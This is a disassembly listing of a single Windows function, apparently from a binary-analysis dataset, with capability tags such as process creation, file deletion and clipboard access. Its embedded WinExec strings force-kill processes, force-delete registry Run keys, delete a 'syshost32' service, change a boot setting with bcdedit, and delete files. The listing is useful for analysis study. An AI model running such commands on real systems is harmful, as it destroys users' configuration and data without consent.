Function at 0x403050
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Get common file path
Move file
Open clipboard
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1258
call fcn.00405af0
mov eax, dword [0x417088]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.NitrGB
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push str.GlobalNitrGB
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
call dword [sym.imp.USER32.dll_CloseClipboard]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
xor ecx, ecx
mov word [ebp - 0x560], cx
push 0xc6
push 0
lea edx, [ebp - 0x55e]
push edx
call fcn.004058e0
add esp, 0xc
call fcn.00402e10
movzx eax, al
test eax, eax
je 0x403112
push str.___xyz___
lea ecx, [ebp - 0x560]
push ecx
call fcn.00405acc
add esp, 8
jmp 0x403126
push str.___abc___
lea edx, [ebp - 0x560]
push edx
call fcn.00405acc
add esp, 8
lea eax, [ebp - 0x560]
push eax
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x40315c
lea ecx, [ebp - 0x560]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
jmp 0x403199
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x560]
push edx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0x9cc], eax
cmp dword [ebp - 0x214], 0
je 0x403199
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004058e0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.mmc.exe
lea eax, [ebp - 0x210]
push eax
call fcn.00405d34
add esp, 8
test eax, eax
jne 0x403219
mov ecx, 9
mov esi, str.CMD__C_RD__TEMP___S_Q__MKDIR__TEMP_
lea edi, [ebp - 0xa38]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3f
push 0
lea ecx, [ebp - 0xa13]
push ecx
call fcn.004058e0
add esp, 0xc
push 0
lea edx, [ebp - 0xa38]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00402cc0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x1254], eax
push str.__zxcv
mov eax, dword [ebp - 0x1254]
push eax
call fcn.00405d34
add esp, 8
test eax, eax
je 0x403276
push 0
push str.taskkill__f__im_runonce.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_runonce.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_cmd.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_cmd.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [ebp - 0xa3c], 0
jmp 0x403291
mov ecx, dword [ebp - 0xa3c]
add ecx, 1
mov dword [ebp - 0xa3c], ecx
cmp dword [ebp - 0xa3c], 0xa
jge 0x4032b1
call fcn.00402c00
call fcn.00402aa0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403282
mov dword [ebp - 0xa40], 0
jmp 0x4032cc
mov edx, dword [ebp - 0xa40]
add edx, 1
mov dword [ebp - 0xa40], edx
cmp dword [ebp - 0xa40], 0xa
jge 0x4033b3
push 0
push str.AfxMDIFrame42
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa48], eax
push str.1___My11
push 0
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa48], 0
je 0x403322
push 0
push 0
push 0x12
mov eax, dword [ebp - 0xa48]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x4181e8], 1
cmp dword [ebp - 0xa44], 0
je 0x403345
push 0
push 0
push 0x12
mov ecx, dword [ebp - 0xa44]
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
mov byte [0x4181e8], 1
cmp dword [ebp - 0xa48], 0
je 0x403361
push 0
push 0
push 0x10
mov edx, dword [ebp - 0xa48]
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
cmp dword [ebp - 0xa44], 0
je 0x40337d
push 0
push 0
push 0x10
mov eax, dword [ebp - 0xa44]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0xa44]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push 0
push 0x12
mov edx, dword [ebp - 0xa48]
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4032bd
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x1258], eax
push str.__zxcv
mov ecx, dword [ebp - 0x1258]
push ecx
call fcn.00405d34
add esp, 8
test eax, eax
jne 0x4033ef
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, 0x3a980
jbe 0x4033ef
call fcn.00401d80
call fcn.00402e10
movzx edx, al
test edx, edx
jne 0x40343b
call fcn.00402eb0
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.___xyz___
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 0
je 0x40343b
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x9c8]
rep movsd dword es:[edi], dword [esi]
push 0xdc
push 0
lea eax, [ebp - 0x978]
push eax
call fcn.004058e0
add esp, 0xc
mov ecx, 0x14
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x348]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0xdb
push 0
lea ecx, [ebp - 0x2f7]
push ecx
call fcn.004058e0
add esp, 0xc
mov ecx, 0x17
mov esi, str.reg_delete__HKEY_LOCAL_MACHINESOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x498]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0xcf
push 0
lea edx, [ebp - 0x43b]
push edx
call fcn.004058e0
add esp, 0xc
mov ecx, 0x1a
mov esi, str.CMD__C__WINDIR__sysnative_reg_delete__HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun___f
lea edi, [ebp - 0x690]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 0xc1
push 0
lea eax, [ebp - 0x625]
push eax
call fcn.004058e0
add esp, 0xc
push 0
lea ecx, [ebp - 0x9c8]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea edx, [ebp - 0x348]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea eax, [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
lea ecx, [ebp - 0x690]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.sc_delete_syshost32
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.bcdedit__set_TESTSIGNING_OFF
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__im_msiexec.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.00401b40
call fcn.00401cb0
push 0x104
lea edx, [ebp - 0x898]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor eax, eax
mov word [ebp - 0x894], ax
lea ecx, [ebp - 0x898]
push ecx
call fcn.00402550
add esp, 4
call fcn.004028c0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0xa50], 0
jmp 0x4035a2
mov edx, dword [ebp - 0xa50]
add edx, 1
mov dword [ebp - 0xa50], edx
mov eax, dword [ebp - 0xa50]
cmp eax, dword [0x418604]
jge 0x4036a9
xor ecx, ecx
mov word [ebp - 0x1250], cx
push 0x7fe
push 0
lea edx, [ebp - 0x124e]
push edx
call fcn.004058e0
add esp, 0xc
mov eax, dword [ebp - 0xa50]
imul eax, eax, 0x208
add eax, 0x418710
push eax
lea ecx, [ebp - 0x1250]
push ecx
call fcn.00405acc
add esp, 8
push 0x4126d0
lea edx, [ebp - 0x1250]
push edx
call fcn.00405a9b
add esp, 8
push 3
lea eax, [ebp - 0x1250]
push eax
mov ecx, dword [ebp - 0xa50]
imul ecx, ecx, 0x208
add ecx, 0x418710
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0x80
lea edx, [ebp - 0x1250]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x80
mov eax, dword [ebp - 0xa50]
imul eax, eax, 0x208
add eax, 0x418710
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x1250]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [ebp - 0x1250]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0xa50]
imul eax, eax, 0x208
add eax, 0x418710
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xa50]
imul ecx, ecx, 0x208
add ecx, 0x418710
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x403593
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405605
mov esp, ebp
pop ebp
ret